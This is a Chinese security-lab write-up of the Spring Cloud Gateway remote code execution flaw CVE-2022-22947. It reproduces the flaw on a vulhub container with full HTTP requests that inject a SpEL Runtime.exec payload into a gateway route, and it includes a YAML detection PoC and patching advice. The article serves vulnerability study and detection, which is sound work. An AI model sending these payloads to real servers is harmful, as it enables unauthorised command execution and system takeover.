Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)–那个少年-漏洞文库小世界-安全文库-NGC660安全实验室

Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)–那个少年

0x01 漏洞描述

使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。

0x02 漏洞影响范围

漏洞影响的 Spring Cloud Gateway 版本范围:

  • Spring Cloud Gateway 3.1.x < 3.1.1
  • Spring Cloud Gateway 3.0.x < 3.0.7
  • 其他旧的、不受支持的 Spring Cloud Gateway 版本

0x03 漏洞利用条件

1、除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口)
2、Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:
·默认为true
management.endpoint.gateway.enabled=true
·以逗号分隔的一系列值,默认为 health
· 若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway

0x04漏洞复现

通过vulhub拉取
docker-compose up -d

1646967981921-f159c29e-f03f-42f0-9682-04f378e81912

访问http://xxx:8080/

1646968036593-804b0468-7c2d-4cf2-8848-c2cb6890342e

1、添加包含恶意的路由

POST /actuator/gateway/routes/EchoSec HTTP/1.1
Host: xxx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 332

{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"xxx\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

1646968167452-cf608c8a-d38e-412d-9136-2fa8d1af8e5c

2、刷新网关路由
(这里有一点需要注意的是请求包下面需要空两行 才会执行成功)

POST /actuator/gateway/refresh HTTP/1.1
Host: xxx:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


1646968221404-cba34b35-5cb5-4c99-a6e0-9eaa68735a25

3、执行命令
(这里有一点需要注意的是请求包下面需要空两行 才会执行成功)

GET /actuator/gateway/routes/EchoSec HTTP/1.1
Host: xxx:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2



1646968312870-071bba39-6b03-4408-a360-f36246b6dff3 4、完毕删除路由
这里删除后需要再刷新下路由,才会回到初始。

DELETE /actuator/gateway/routes/EchoSec HTTP/1.1
Host: xxx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 332

{
  "id": "EchoSec",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

1646968418299-8e5d9d01-f989-48d8-a066-b94e0176da86

0x05检测poc规则编写

params: []
name: Spring Cloud Gateway 远程代码执行
set: {}
rules:
- method: POST
  path: /actuator/gateway/routes/EchoSec
  headers:
    Content-Type: application/json
  body: |-
    {
      "id": "EchoSec",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
        }
      }],
      "uri": "http://example.com"
    }
  search: ""
  followredirects: false
  expression: 'response.status == 201 '
- method: POST
  path: /actuator/gateway/refresh
  headers:
    Content-Type: application/x-www-form-urlencoded
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200
- method: GET
  path: /actuator/gateway/routes/EchoSec
  headers: {}
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200
- method: DELETE
  path: /actuator/gateway/routes/EchoSec
  headers:
    Content-Type: application/json
  body: |-
    {
      "id": "EchoSec",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
        }
      }],
      "uri": "http://example.com"
    }
  search: ""
  followredirects: false
  expression: response.status == 200
- method: POST
  path: /actuator/gateway/refresh
  headers: {}
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

1646982606548-a8874eef-717c-41b7-987e-a2cbd0a07de0

0x06漏洞修复

1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。
2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security
3.官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。

0x07 参考

https://mp.weixin.qq.com/s/5ZBpVTofGpG_ssz2iPeI2A

请登录后发表评论

    请登录后查看回复内容